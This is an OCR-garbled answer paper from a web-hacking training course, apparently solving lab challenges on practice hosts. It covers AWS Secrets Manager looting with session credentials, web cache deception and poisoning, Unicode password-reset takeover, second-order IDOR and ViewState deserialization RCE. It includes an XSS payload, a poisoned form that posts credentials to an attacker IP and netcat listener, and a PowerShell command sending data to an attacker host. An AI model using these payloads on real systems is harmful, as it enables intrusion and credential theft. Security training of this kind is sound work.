root@kali:~# export AWS_SESSTION_TOKEN=XXXXXXXXX

root@kali:~# export AWS_DEFAULT_REGION=us-east-1

# export AWS_ACCESS_KEY_ ID=ASIA2EG3F6XX60YC36HS

export AWS_SECRET ACCESS_KEY=gODGTJ7nr+7JQkor/s2/CT8yhh/QkTKRLGL1gVax

export AWS_SESSION_TOKEN=IQoJb3JpZ21uX2ViEMf//////////WEaCXVZLWVhc3QtMSIIMEYCIQCZ14YmzpEXYDUnWIWgh5ZK31elUe+V70G
r5sbWLhcCB4KvADCGAQAROMN | k2Mj Q

Ev+KVSPxJGtWk4gFDVTfr159TTaGIm

YdG5Mj FTwrcUX9YPOKEKS99ZZSSNAN

C2MT9t38DTspUBLtITymlEth6d2EVW

MAK5IxGescQQf1I07IIGBzk05cvRNG

export AWS_DEFAULT_REGION=us-east-1
# aws sts get-caller-identity
"UserId": "AROA2EG3F6XXUS7WDIN7W:CognitoIdentityCredentials"”,

"Account": "696244368879",
"Arn": "arn:aws:sts::696244368879:assumed-role/Cognito_nssfedappAuth_Role-NEW/CognitoIdentityCredentials”

Step 15: Execute the following command to verify the validity of AWS client credentials configured

in the above step using the command as shown:

root@kali:~# aws sts get-caller-identity

# aws sts get-caller-identity

"UserId": "AROA2EG3F6XXUS7WDIN7W:CognitoIdentityCredentials",

"Account": "696244368879",
"Arn": "arn:aws:sts::696244368879:assumed-role/Cognito_nssfedappAuth_Role-NEW/CognitoIdentityCredentials"
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Step 16: Since the objective is to obtain the secrets from the secret manager let’s query the

‘secretsmanager’ service using the current session. Enter the commands as shown below:

root@kali:~# aws secretsmanager list-secrets

aws secretsmanager list-secrets

"SecretList": [
{

"ARN": "arn:aws:secretsmanager:us-east-1:696244368879:secret:Cloud_API-zpPdX0",
“Name": "Cloud_API",
"Description”: "Key to Access APIs",

"LastChangedDate”: 1593687512.196,
“Tags": [I,
"SecretVersionsToStages": {
"b7122277-d3ea-4963-ae0d-e586bbfd5acd": [
"AWSCURRENT"

Step 17: The output shows that there is a ‘Cloud_API’ secret available. Query the secret-id using

the command to decrypt and retrieve the encrypted secret information as shown below.

root@kali:~# aws secretsmanager get-secret-value --secret-id

arn:aws:secretsmanager:us-east-1:6962XXXXX9:secret:Cloud_API-zpPdXO

# aws secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:69624436887
9:secret:Cloud_API-zpPdX0

{
"ARN": "arn:aws:secretsmanager:us-east-1:696244368879:secret:Cloud_API-zpPdX0",

“Name": "Cloud_API",
"VersionId": "b71222f7-d3ea-4963-ae0d-e586bbfd5acd",

"SecretString": "{\"API_Key\":\"02d619b8ch15409ca3889de3abb36a73\",\"Username\":\"vision\",6\
"Password\":\"45eccabdc26c47b2b\"}",
"VersionStages": [
"AWSCURRENT™

] r
"CreatedDate": 1593687512.17
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Module: Web Cache Attacks

Web Cache Deception

Challenge URL: http://webcache.webhacklab.com:8080/login.php

e Identify Web Cache Deception vulnerability to access sensitive content without

authentication, which would otherwise be only accessible to an authenticated User.
Solution:

Step 1: Navigate to http://webcache.webhacklab.com:8080/login.php. Try to access index.php i.e.
http://webcache.webhacklab.com:8080/index.php. It will not be accessible and will keep redirecting

to the authentication page as it requires authentication to be accessed.

webhacklab.com

PHP Simple Application for Webcache Deception Demo.

Login

Username

Password

w NotSoSecure part of Page: | 36
Cla ra net cyber secu I’ity © Claranet Cyber Security 2021. All rights reserved

https://t.me/learningnets



NSS Training — AWH 5D Answer Paper

Step 2: Try adding any non-existent static file location, for example non-existent.css to end of the
URL (i.e. http://webcache.webhacklab.com:8080/login.php/non-existent.css ). Observe if the
application loads login.php instead. And we can also observe from header “X-cache” that our server

caches public static files.

Note: We could also use public static file extensions like gif, png, ico etc.

(D) £ webcache.webhacklab.com:5!

PHP Simple Application for Webcache Deception Demo.

Login

Username | |

Password | |

Login

G‘ 0 Inspector Console O Debugger {} Style Editor m Performance ﬂ Memaory ’N, Network @ Storage
]ﬂ[ Il All HTML €S5 JS XHR Fonts Images Media W
Status Method Domain [l  Headers 5 esponse  Timings  Stack Trace
& webcache.w. s

& webcad

Request headers (471 B)
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Step 3: To exploit this, Login to application using creds usernamel:passwordl . After login, you

will be taken to http://webcache.webhacklab.com:8080/index.php page. Now, armed with the

knowledge in the previous step, again add a non-existent public static file to the end of the URL.

(e.g: http://webcache.webhacklab.com:8080/index.php/non-existent.css ) and submit it. This will

cache contents of index.php on the server with file index.php/non-existent.css .

g8 [ven] & Mot secure

Security Profile

s Home
* Logout

[Name: John Doe
Database API Keyv:003026bbc133714df1834b8638bb496e
IAPT Key:8f4b3d%a-931-478d-a994-28a725159ab9

Username: User1961

[Access Level: Application Manager

As this page is not initially cached, it will request
it from backend server and then cache it

Issue Submission

Issue Type | |

Subjecr| |

Access Id|

Description 4

[w ﬂ Elements Console Sources Metwork Performance

Mame

=] findex, php

= styled.css

— /index.php/css
css?family=Ropa+Sans
fonts.googleapis.com

& css family=Ropa+5ans

—J fonts.googleapis.com

EYgxmaNOzLIWtsZ 55 cy6XTN p.woff2
fonts.gstatic.com//s/ropasans/v3

Application
[ ] B Y Q | View = = [ Group by frame O Preserve log [ Disable cache
Filter [ Hide data URLs [1[] XHR JS CSS Img Media Font Doc WS Mahifest Other

Security Audits HTTPS Everywhere

[] Offline Online A

X Headers Preview Response (Cookies Timing

Content-Encoding: gzip

Content-Type: text/html; charset=UTF-8
Date: Fri, 1@ May 2819 12:28:39 GMT
Expires: Thu, 19 Nov 1981 @8:52:80 GMT
Pragma: no-cache

Server: nginx/1.1@.3 (Ubuntu)

Transfer-Encoding: chunked
X-Cache: MISS
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Step 4: As the cache on the server is created, access the same link from different browsers or from
different remote locations to retrieve contents on “index.php” without authentication.

http://webcache.webhacklab.com:8080/index.php/non-existent.css

webcache webhacklab.com:80

Security Profile

* Home
* Logout

- F Q9 [\

Name: John Doe

Database API Key:003026bbc133714df1834b8638bb496e
API Key:8f4b3d9a-e931-478d-a994-28a725159ab9

Username: User1961

Access Level: Application Manager

Issue Submission

Issue Type

e D Debugger {} Style Editor m Performance

I All HTML

¢]] Headers
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Web Cache Poisoning

Challenge URL: http://webcache.webhacklab.com/

e Identify whether there are any unkeyed inputs used by the application and if the server

caches the output for the same. Edit those unkeyed inputs with malicious payloads to

do the following to random user when poisoned cache is requested.

a) Perform Cross-Site Scripting

b) Execute malicious script from remote location controlled by us

c) Steal Credentials through Form submission to remote location controlled by us.

Note: TTL of cache is set to 20 sec.

Solution:

Step 1: Navigate to http://webcache.webhacklab.com/ and observe that the host header is used by

the application in multiple places in response.

[w 13} Inspector

ebcache webhacklab.com

PHP Application for Webcache Poisoning Demo.

|HostHeader:webcache.webhacklab.com |

Login

Username

Password

Login

Console [ Debugger {} Style Editor (7Y Performance O Memory T Network E Storage

iv id="Framee™>
HP Application for webcache Polsoning Demo.</hilx

st Header: webcache.webhacklab.com</p>
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Step 2: Next let’s determine if we can override “host” header value with our custom one using

alternative headers like “X-Forwarded-Host”. It seems we can, as shown below.

X-Forwarded-Host: testi123

Go Cancel < | > | Target: http://iwebcache.webhacklab.com

Request

J Raw-[ Headers I Hex ]

GET / HTTP/L.1

Host: webcache.webhacklalb.com

H-Forwarded-Host: testl:SI I

User—-Agent: Mozilla/5.0 |Windows NT 10.0; Wing4; x&4; rvw:E6.0) Gecko/Z0l00101 Firefox/€6.0
Aocept: text/html,application/xhtml+xml, application/xml;cq=0.9, %/ *:q=0.8

Aocept-Lancuage: en-US,ef-c=0.5
Aocept-Encoding: gzip, dgflate
Connection: closes
Upgrade-Insscure-Recquestg: L
Cache-Control: max-ags=0

Response

o
%
1]
Q
[+
=
=

J RE.WI Headers I Hex I HTML T Render }

<link href="./css/style.gss™ rel="styleshest">

</ head>

<body>

<div id="Fram=0">
<hl>PHP Application £0% Wehcache Poisoning Demo.</hl>

<p>Host Header: test123</p>

<fdive
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A. Cross-site Scripting:

Step 3: After above step wait for 20 sec for cache to become invalid, then submit below Header with
custom XSS payload. After submission response will be cached on the varnish server.

X-Forwarded-Host: <script>prompt('Password')</script>

Go Cancel <|+¥ > | Target: http://webcache.webhacklab.com u

Request

Raw | Headers | Hex

GET / HTTP/1.1
Host: webcache.webhacklab.com

H-Forwarded-Host: <scripts>prompt('Password')</script> I

User-Agent: Mozilla/5.0 (Windows NT LO.0; Wine4; xe4; rv:E66.0) Gecko/Z0Ll00L0Ll Firefox/E6.0
Accept: text/html, application/xhtml+xml fapplication/xml;q=0.9,*/*;:=0.8

Accept-Language: en-U3S,en;qg=0.5

Aecept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-FRequests: 1
Cache-Control: max-age=0

GG on

Response
Raw | Headers | Hex | HTML I Render ]
Name | value
HTTR/M1.1 200 OK
Date Wed, 06 Feb 2019 08:31:09 GMT
Server Apache/2.4 18 (Ubuntu)
Content-Length 1077 L\,
Content-Type  text/himl; charset=UTF-8
</head> o
<body>

<div id="Frame0":>

<hl=>PHF Application for Webcache Poi!bning Demo.</hl>

<p=Host Header: <scriptrprompt('Password')</script></p> I

</ dive

<br>

<form action="http://webcache.webhacklab.com/ login. php™ method="post" name="Login Form">

<table width="400" border="0" align="center" cellpadding="5" cellspacing="1" class="Table">
<tk

Step 4: Response is cached. Try accessing the same page from other IPs or browsers. You will
access the cached page resulting in XSS.

webhacklab.com

Password
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B. Execute malicious script from Remote location controlled by us.

Step 5: Similarly, as we observed that on submitting Headers “X-NotSoSecure-Script’ it modified

script loading location. Therefore, we submitted below Header with a remote server containing

different JavaScript but with the same name.

X-NotSoSecure-Script: 192.168.4.X:1234

Go || Cancel <|* > v

Request

Raw | Headers | Hex

Target: http:/h he.webt

com

GET / HTTR/L.1
Host: webcache.wsbhacklab.com

H-lotSoSecure-Script: 192.168.4.57:1234

User—Agent: Mozilla/5.0 (Windows NT 1040;

Aocept-Language: =n-US,en;g=0.5
Accept-Encoding: gzip, deflate
Connection: close
Tpgrads-Insecurs-Reguests: 1
Cache-Control: max—age=d

Wingd;

xE4;

Accept: text/html,application/xhtml+4xml,application/=ml;q=0.9,*/*:q=0.8

rv:£6.0) Gecko/I0LD0LOL Firefox/66.0

EJ [LJ EJ B Type a search term

Response
Headers | Hex | HTML | Render |
Name | value
HTTP/M1.1 200 OK
Date Wed, 06 Feb 2019 08:38:34 GMT
Server Apachef2.4.18 (Ubuntu)
Conteni-Length 1039
Content-Type  text/ntml; charset=UTF-&
Vinne Aesnnt ©

l<script sre="http://192.168.4.57:1234/script.js"=</script>

=/ body>
</html>

Step 6: Cache is poisoned. When a random user accesses the same cached page from a different

location or browser. It loads the malicious script from a remote machine controlled by us and

executes it.

Read webcache.webhacklab.com

NotSoSecure part of

webhacklab.com

| am malious seript from untrusted location
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C. Steal Credentials through From submission

Step 7: Similarly, we observe that we can use “X-Steal-Creds” header to poison from URL to send

authentication credentials to a remote server. For this submit below Header with payload.

X-Steal-Creds: 192.168.4.X:1234

Go Cancel < |v > | Target: http://'webcache.webhacklab.com

Request

J REWI Headers [ Hex ]

GET / HTTE/L.1

Host: webcache.webhacklalb.com
¥-Steal-Creds: 192.,1£8.4.57:1234 I
User-Agent: Mozilla/5.0 (Windows NTJLD.D; Winé4; x€4; rv:6£6.0) Gecko/IZ0Ll00L0L Firefox/E6.0
Accept: text/html,application/xhtml

kml, application/xml;gq=0.9, */*;g=0.8
Aocept-Language: en-TS, en;ag=0.5
Aoccept-Encoding: gzip, deflate
Connection: closes
Upgrade-Insecure-Fequests: 1
Cache-Control: max-age=0

? < + = | | Type a search term

Response
Raw | Headers T Hex I HTML T Render 1

MName | Value

HTTP/M .1 200 OK

Date Wed, 06 Feb 2019 08:43:39 GMT
Server Apache/2.4.18 (Ubuntu)
Content-Length 1059

Content-Type  text/html; charset=UTF-8

Aiane A nt T i

<br> 4

kform action="http://192.168.4.57:1234/ login. php" method="post" name="Login Form"> |
<table width="400" khorder="0" align="center™ cellpadding="5" cellspacing="1" class="Table">
<tr>
<td colspan="2" align="left" valign="top"><h3i>Login</h3></td>
</tre
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Step 8: As soon as a random user submits his credentials on the poisoned cached page.

Credentials are sent to our listener as shown in the below figure.

nc -lvp 1234

(i) # £ webcache webhacklab.com e @ Q T N 60

PHP Application for Webcache Poisoning Demo.

Host Header: webcache webhacklab.com

Login

Username | _4min

Password eeses

Waiting for 192.168.4.57...

@

B M M D
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Module: Miscellaneous
Vulnerabilities

Unicode Normalization Attack

Challenge URL: http://reimbursement.webhacklab.com/Account/ResetPassword
e Identify and exploit the forgot password functionality to login as userX
Solution:

Step 1: Login to the 'Expense Reimbursement' application using your registered account. Here, we

have used 'john' as a victim user account.

& @ reimbursement.webhacklab.com - D M O i @

Expense
Reimbursement

It is allow to claim the expenses which is made on
behalf of the company and reimburse it

Note: To see the normalized characters working in your current version of Firefox browser, an

additional dependency is required which is already installed in our custom kali.

Run the following command in case you want to test on a different system:

root@kali:~# sudo apt-get install ttf-ancient-fonts
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Step 2: Register to the 'Expense Reimbursement' application by entering unicode characters as a

username. Here, we have used 'WOQ®®N)' user account you can refer to Online Unicode Tool or

Unicode Charsets.

G o @ & reimbursement.webhacklab.com/Account/Register - O M o 1A

Register.

Create a new account.

FirstName

Johnny

LastName

Tester

Username

Email

Password

Confirm password

Register
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Step 3: Initiate the Forgot Password request and input the unicode characters as a username. For

instance, here we have entered 'WO®®N) as a username to reset the password.

Expense Reimburse

Forgot your password?.

Enter your email.

Username ®@®®|

Email Link

Step 4: In another browser (or private browsing window), open your mailbox to see the received

password reset link — Click the link to reset the password.

Reset Password imox «

agmail.com

Please reset your password by clicking <a href="http
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Step 5: You will be redirected to the Reset Password page. Enter the new password as desired and
the username must be the same as mentioned above (QOBN)). Here, we have set a new

password as 'New@1234'".

Expense Reimburse

Reset password.

Reset your password.

Username COB®
Password 000000
Confirm password 000000
Reset

Step 6: After submitting the above data, the password has been reset for both ‘john’ user as well as
QOBN) user. This happened due to the application’s nature of handling or working with unicode

characters.

&« G o (@ reimbursement.webhacklab.com/Account/ResetPasswordConfirmation

(¥ NotSosecure @@ Shop Webhacklab | Topup Webhacklab @) Microblog @ HealthCheck | Admin Webhacklab | Utility @) Wordpres NotSoSec...

Expense Reimburse

Reset password confirmation.

Your password has been reset. Please click here to log in
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Step 7: The password for user 'john' is now set to a new password ‘New@1234".

# Hn-stl . Method IUF.L .
269 http:/freimbursement. webhacklab.com POST .mﬂcnunt.i'chinL:

al 7 Te

[Raquast | Response
Raw | Params | Headers | Hex |

POST request to jAccount/Login

Typa Mame Yalue

Cookie _ RequestVerificationToken mB8TNTVhvyldLWUCSTpHELU_FFQ. ..
Body __RequestVerificationToken 5Ld]_WEwUEASiguONTmIM-wBHy...
Body Username john B
Body Password New@1234

Body RememberMe false
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Second-order IDOR

Challenge URL: http://reimbursement.webhacklab.com/Expense/LoadExpenseFile?id=

e Exploit Second-order IDOR to view reimbursement details of another user on the

application who owns id =1, 2, 3

Solution:

Step 1: Login to the Expense Reimburse application using your registered account and navigate to

the 'Expense' tab. Here, we have used 'john' as an existing user account.

& 1 @ reimbursement.webhacklab.com/Expense - 2 W O )

Expense.

Add or View all expenses

Add Expense: [ Add ]
View All Expenses: [ View ]
Download Sample [ Sample File ]
File:

© 2020 NotSoSecure Global Services Limited. All rights reserved. NotSoSecure Global Services
Limited, CB1 Business Centre, Twenty Station Road, Cambridge, CB1 2)D, UK

D

Step 2: Download a sample (SampleData.xIs) file from user ‘john' account

o H I reimbursement webhacklab.com e < @ M i O
Expense.

Add or View all expenses

Add Expense: [ Add]
View All Expenses: [ View ]
Download Sample [ Sample Fle |

File: G opening SampleData.xls L=t |

You have choden to opén:
& 2020 NotsoSecure G o sampleData.xls [VicEs

Limited, CB1 Business Cd which is: BIN file (26,5 KB)
from: htpreimbursement. webhacklab.com

Would you like to save this fle?

Cancel Save File
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Step 3: Manipulate the excel data ‘Amount’ to your desired reimbursement amount.

1=
File Edit View Insert Format Tools Data Window Help

2 -3 -3 ZER YE e -g D

@< |Calibri v| 12 v B/ U == =
D13 v kT = |

2 B C .

1 |[Date Description Amount

2 02/01/2020 Food 500

3 02/01/2020 Laptop 2000

4 02/01/2020 Airplane 2500

5 02/01/2020 Hotel 1000

6 02/01/2020 Travel 250

3

Step 4: Navigate to the 'Add Expense' feature which allows users to upload a file in XLS format.

Upload the .xlIs file 'SampleData.xIs' (located in kali — ‘/root/Downloads’).
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Step 5: File is uploaded successfully as shown below.

Reimb

UploadFile

| Browse... |nNofile selected.

| Upload lFiIeUpIoaded Successfully!!

© 2020 NotSoSecure Global Services Limited. All rights reserved. NotSoSecure Global Services Limited, CB1 Business Centre, Twenty Station Road, Cambridge,
CB1 2JD, UK

Step 6: Access the uploaded file listed in 'View All Expenses', it will show you the expenses

uploaded in the excel file.

Expense - My ASP.NET A| X ‘ +

& C @ @ reimbursement.webhacklab.com/Expense o v
@ NotSosecure @ Shop Webhacklab | Topup Webhacklab @ Microblog @) HealthCheck | Admin Webhacklab |- Utility @ WebCache Poison ) WebCache Deception & Wordpres NotSoSec... 4 Joomla NotSoSecure

Expense Reimburse

Expense.

Add or View all expenses

Add i [Add]
[View All Expenses: [ Vigy
Download Sample [ Sample File ]
File:

© 2020 NotSoSecure Global Services Limited. All rights reserved. NotSoSecure Global Services Limited, CB1 Business Centre, Twenty Station Road, Cambridge,
CB12JD, UK

Step 7: Capture the request when you access the uploaded file in Burp:

| All Expenses - My ASPNI X ‘ =+

<« Cc @ @ reimbursement.webhacklab.com/Expense/ViewExpense o O MY
(J NotSosecure @ Shop Webhacklab | Topup Webhacklab @ Microblog ) HealthCheck | Admin Webhacklab | Utility @ WebCache Poison @ WebCache Deception @ Wordpres NotSoSec... [ Joomla NotSoSecure

Expense Reimburse

Expense Details

DateTime FileName Title Author

2020-05-05T08:06:43 637242628032119510_SampleData.xls ‘

Previous Next

Showing 1 to 1 of 1 entries
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Step 8: Send the captured request to Repeater. This request will be used at a later stage. Now,
from the main proxy tab send the request and capture the response, the response is 302 with a
redirect to ‘/Expense/Success’ which states that the id passed in the request belongs to the logged

in user, do not forward this response yet:

J InterceptT HTTP history T WebSockets history T Options l

Response from http:{freimbursement. webhacklab.com:80/ExpensefLoadExpenseFile?id=2 |[192.168.200.130]

| Forward || Drop J | Intercept is on | Action

J RaWI HeadersT Hex T HTML T Render}

[1 HTTP/1.1 302 Found |

2 Cache-Control: private, s-maxage=0

3 Content-Type: text/html; charset=utf-8
4 Location:|/Expense/Success|

5 Server: Microsoft-IIS/8.5
6
7
8
9

X-AspNetMvc-Version: 5.2
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Tue, 05 May 2020 15:14:20 GMT
168 Connection: close
11 Content-Length: 133

132 <html><head><title>0bject moved</title></head><body=>

14 <h2>0bject moved to <a href="/Expense/Success">here</a>.</h2>
15 </body=</html>

18

Step 9: Go to the Repeater tab and change the id value to 3 and send the Request, it should look

like below:
Send Cancel < v > Follow redirection Target: http://reimbursement.webhacklab.com /@
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex HTMLTRenderl

1 GET /Expense/LoadExpenseFilg?id=3 [HTTP/1.1 1 [HTTP/1.1 302 Found | -

2 Host: reimbursement.webhacklab.com 2 Cache-Control: private, s-maxage=0

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) 3 Content-Type: text/html:; charset=utf-8

Gecko/20100101 Firefox/60.0 4 |Location: /Expense/Failure

4 Accept: 5 Server: Microsoft-IIS/8.5

text/html,application/xhtml+xml, application/xml;q=0.9, 6 X-AspNetMvc-Version: 5.2
7
8
9

vy

*/%;0=0.8 X-AspNet-Version: 4.0.30319

5 Accept-Language: en-US,en;g=0.5 X-Powered-By: ASP.NET

& Accept-Encoding: gzip, deflate Date: Tue, 05 May 2020 15:19:15 GMT

7 Referer: 10 Connection: close
http://reimbursement.webhacklab.com/Expense/ViewExpens 11 Content-Length: 133
e 12

9 Cookie: __RequestVerificationToken= 13=<html><head><title>0bject moved</title></head><body>
rzyp4cU614UDcCms05zCP2fhi6b6_DRLAfpGRbZKW72BNtckZ7kwWMy 14 <h2>0bject moved to <a href="/Expense/Failure">here</a>.</
Tx1fdFubKlIsYGXzF9YGSFwpSC4ZaCBNnAe6MnAUKTC4ThWPSty9cl h2>
; .AspNet.ApplicationCookie= 15 </body></html>
R1BxU2pVI4YuklnPIZUNZACIKEWN4FoRSIfbL7vjNoej9xU-QdyJwq 16

BVQiiaqFO9DIP1dEiQJIGLYzo1SVKFNmAMoEOWS0_hbEpatPklHolxk
97Yuy5-ee]A425E8_7y3vs9trqIKc440ICXR-f-tKj9pZkbROQpTtO
xJUXM2C3SUqvPih39D0TDED_nXNfAozkfrFtgIJJQ6-wn3Z6sfIldy0
9LKsw3ymlXIDCWspIbFcZrLRNLLKI8JaB_-8ZqrvTGhiyJF3kltEae
1c40NViIVMIqaDUOHeyBdeGXb0XaXsuBjYhhfIyoQi®ALwPs517wpX
XAVTGVP406A-vc3dh60VWTYiko2TCvQPZB5UPXfr_f9iLNL4fXsKEB
p7MSv1wUrs3ws0c7XQT5axmyV6eTK-562WYEOqHD8SNNUPemLIIoRwHY

WyX4wPVHQIRT34yGT63WDTPOKOF rOrrWHrMOGANYvHAQQXx1HyQu9a 'y .
@ < || + || = | |Type asearch term 0 matches @ < || + || > | |Tvpe asearch term 0 matches
Done 441 bytes | 335 millis
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Step 10: Go back to the Proxy tab and forward the response, once the response is forwarded you

will be able to access and view reimbursement details of the user having reimbursement id 3.

&« e o @ reimbursement.webhacklab.com/Expense/Success

- oM
 NotSosecure @) Shop Webhacklab | Topup Webhacklab @ Microblog @) HealthCheck | Admin Webhacklab | - Utility @& WebCache Poison () WebCache Deception @ Wordpres NotSoSec... [ Joomla NotSoSecure

Expense Reimburse

Expense Details

Date Descryption
1/1/2020 12:00:00 AM Iphone reimburse
5/2/2020 12:00:00 AM android tablet
8/3/2020 12:00:00 AM Alr Ticket - India - USA
10/3/2020 12:00:00 AM Stationary

5/4/2020 12:00:00 AM Laptop

4/25/2020 12:00:00 AM LED - Externl
5/30/2020 12:00:00 AM WebServer-AWS

Amount

6500

10000

90000

500

110000

8000

10000
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Leverage Git misconfiguration to
ViewState RCE

Challenge URL: http://books.webhacklab.com/.git

e Leverage Git misconfiguration to extract the Machine Key.

e Exploit ViewState to perform Remote Code Execution(RCE)
Solution:

Step 1. Navigate to 'http://books.webhacklab.com/.gittHEAD' and server will respond with content

as shown in the figure:

& c © & books.webhacklab.com/.git/HEAD

ref: refs/heads/master

Step 2: Run 'git-dumper’ tool to extract the source code as shown in the figure:

Command:

root@kali:~/tools/git-dumper-master# ./git-dumper.py
http://books.webhacklab.com/.git <OUTPUT_DIR> -t 30

t@kali: # |./git-dumper.py http://books.webhacklab.com/.git books.webhacklab.com -t 30
Testing http://books.webhacklab.com/.git/HEAD [200]
Testing http://books.webhacklab.com/.git/ [403]
Fetching common files
Fetching http://books.webhacklab.com/.git/hooks/commit-msg.sample [200]
Fetching http://books.webhacklab.com/.git/hooks/applypatch-msg.sample [200]
Fetching http://books.webhacklab.com/.git/hooks/post-commit.sample [404]
Fetching http://books.webhacklab.com/.git/COMMIT_EDITMSG [200]
Fetching http://books.webhacklab.com/.git/description [200]
Fetching http://books.webhacklab.com/.git/hooks/post-receive.sample [404]
Fetching http://books.webhacklab.com/.git/hooks/pre-applypatch.sample [200]
Fetching http://books.webhacklab.com/.gitignore [404]
Fetching http://books.webhacklab.com/.git/hooks/pre-commit.sample [200]
Fetching http://books.webhacklab.com/.git/hooks/pre-receive.sample [200]
Fetching http://books.webhacklab.com/.git/hooks/prepare-commit-msg.sample [200]
Fetching http://books.webhacklab.com/.git/hooks/update.sample [200]
Fetching http://books.webhacklab.com/.git/index [200]
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Step 3: Navigate to the downloaded Git repository and analyze the source code which contains

web.config as shown in the figure:

root@kali: # |cd books.webhacklab.com/

root@kali: # 1s -la

total 16

drwxr-xr-x root 4096 Jul 15 14:59

drwxr-xr-x root 4096 Jul 15 14:58

drwxr-xr-x root 4096 Jul 15 14:59

drwxr-xr-x root 4096 Jul 15 14:59

root@kali: # cd NOTSOSECURE.BOOKS/
root@kali: #ls -la
total 216
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x

Book.aspx
Book.aspx.cs
Book.aspx.designer.cs
Bundle.config

Default.aspx
Default.aspx.cs
Default.aspx.designer.cs
.DS Store

PHRRPNRRRRNNNRP

Step 4: Extract the Machine Key information from the web.config file as shown in Figure:

oot@kali: ~/tools/VPN x root@kali: ~/tools/git-dumper-master/books.webhacklab.com/NOTSOSECURE.B... x|

root@kali: # cd books.webhacklab.com/NOTSOSECURE.BOOKS/
root@kali: # cat Web.config |
grep machineKey

<machineKey decryptionKey="C98ACD36EF9112083280968CB457EDOE23C1FC4ECBBOBF12" validationKe
y="3D57C97C062CA7D773AD3929BB6C3CF83D4F18C1112002B2C75722765E2541C8ACF7C8F6243B79F06B4B6B09A1
926B236EEE58C02C5FCD557687269A32525621" />
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Step 5: Login to the application using your registered account:

© & books.webhacklab.com/Account/Login

Book Store

Log in.

Use a local account to log in.

Email userx@webhacklab.com
Password sesccssse

Remember me?

Login

Step 6: Capture the request in Burp Suite and observe that the ' VIEWSTATE' parameter is

passed in request and it is in an encrypted form as shown in the figure:

£’ Request to http:/ /books.webhacklab.com:80 [192.168.200.130]
| Forward L Drop | Intercept is on Action Comment this item W (

Raw | Params THeaders THex T\Ilewstate ]
POST /Account/Login HTTP/1.1
Host: books.webhacklab.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 704
Origin: http://books.webhacklab.com
Connection: close
Referer: http://books.webhacklab.com/Account/Login
Cookie: _ AntiXsrfToken=180c233el11a74e02883114903bc0a5da
Upgrade-Insecure-Requests: 1

_EVENTTARGET=&_EVENTARGUMENT=B%2B30n1 1q900aG%2F7%2F1g%2B07 4yxrPS%2Fr i Zut fARBYAKEdQGEbtXVY
2ms8vcbNYSyn5Z0Zny78u%2FCA4Zh%2FunZboeZ0112 lrvpnfl71Z22fI8McFrXwtdVPg3kugoV4XxH7xnQY¥z11lvg07Rc8Ei1i33%2B0j48S
6yZ2GokgKd2Q1P7Uu%2FxyJ20InMPkmSxr5rv0P%2BKEAUFRWNPiT6JZ%2Fp0z%2FtNj0GhW4 jLgS9HWABAXMXP3yZUspMcQiXhgCXkn
VxgLKsf7huxc9L$2FLzcg4Kr5gKiLAJN204A%3D%3D& EVENTVALIDATION=%2FLCtNi5Dat8HI9uQ0W1GP1p8i9kINI3WnaK6ywm3K
Wi2QUrfkp3RVCE26Gn2xm8%2BveiIMNv8xUgQ0Ot1bjrdKUKEnSx%2FyNXvVVpga7cpCqngP30A5FboN2nyairvND6h1EOXn%2BP0CYhg
iVSIi72idBERaALIL3r9GcAu%2FGI1lulUxP3PW20r07gWe3mGEfVijA2hPq&ctl100%24MainContent%24Email=userx%40webhacklab.c
om&ctl00%24MainContent%24Password=Test%401234&ct100%24MainContent%24ctl05=Log+in

£’ Request to http:/ /books.webhacklab.com:80 [192.168.200.130]
.
[ Forward J [ Drop | | Intercept is on Action Comment this item W @

Raw | Params THeaders T Hex T ViewState ]

[<htm|><p><b>&nbsp;Unrecognized format - may be encrypted</b></p></html>
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Step 7: Start python web server on port 8000

python3 -m http.server

S ~/tools
python3 -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)

Step 8: Generate the ViewState deserialization payload using 'utility.webhacklab.com' where

Validation key, the decryption key will be from step 4 and command is ‘Remote command' that will

be executed as shown in the figure:

powershell.exe Invoke-WebRequest -Uri http://192.168.4.X:8000/%env:UserName
@ utility.webhacklab.com/YSoSeria
ab | Topup Webhacklab @& Microblog @ HealthCheck Admin Webhacklab Utility € Wordpres NotSoSec... @ Database Connectiol
Deserialization payload generator for a variety of .NET farmatters
Plugins QOutput Data:
ViewState ‘ coGJIKOFOCOXZaFydFVsUBvy5eV S|4V pt/Tebol 1 ALxkqy XJLINSrstWoHVS =
- QKIT4QdRKzksMdvI3ANP +QsX26P5udyngkl7IqcA3]KUcmpdWQqOgpTEFCL
Gadget 6FeuB1ubxz/ewdonYXrjyyOaEjew
- /n97LPTGUDUUEA1oRAGEaNAGh4JIH1NaANCAGMBUESKNDISPQz4BQNSCM
TypeConfuseDelegate ‘ FO4jpKbYIDT|WHUJTIRgy BaAT]|stFaMBIHT +e4M
/JajBPdjIFo
Asp.Net Version ImDz4 iIUAT5UBX04AMKNronSd3eXrHc79HOIG
Asp.Net >= 4.5 - tavvt3Y
o /t72Z19nbARQOmMb z5 HdM6Ya2DwXASktE6SH
Validation Algerithm BFPPRMgoSCzRxZ3MBvObIWKWTdXrRgnMgVTIRXhWiXe
o 0gbw
SHAL | [HQLIFfXfpcKL101C)y +IIBA1r2QcBPfS0NroT)zIkB XX WWFfwXTmy1KMMoS3U
o CavYxMfaltRgkhQKOgnQANMbH
Validation Key [YbFn9cICKAESs)3qsCzmQKxIhWZFENaxUZulWB6UXWvdZjnQpUUPPZHRA
3DS7C97C062CATDT773AD3929BB6C3CF83D4F18C1112002B2C75722765E 1TaqrP
/P/OHKJOYPTMINKB bz T TjwzSI32YYjM j3C+BkelWPYn|BHESELQI
Decryption Algorithm [cNAATGYGfnBBORgXkpDhgTLIboIb)/xwmUFOVFo+
e /g7FyRZpdb93fiXqLthG2GTbedWvg2FYtXSqp4QblKUFrAYEHUUAGUKQXMS
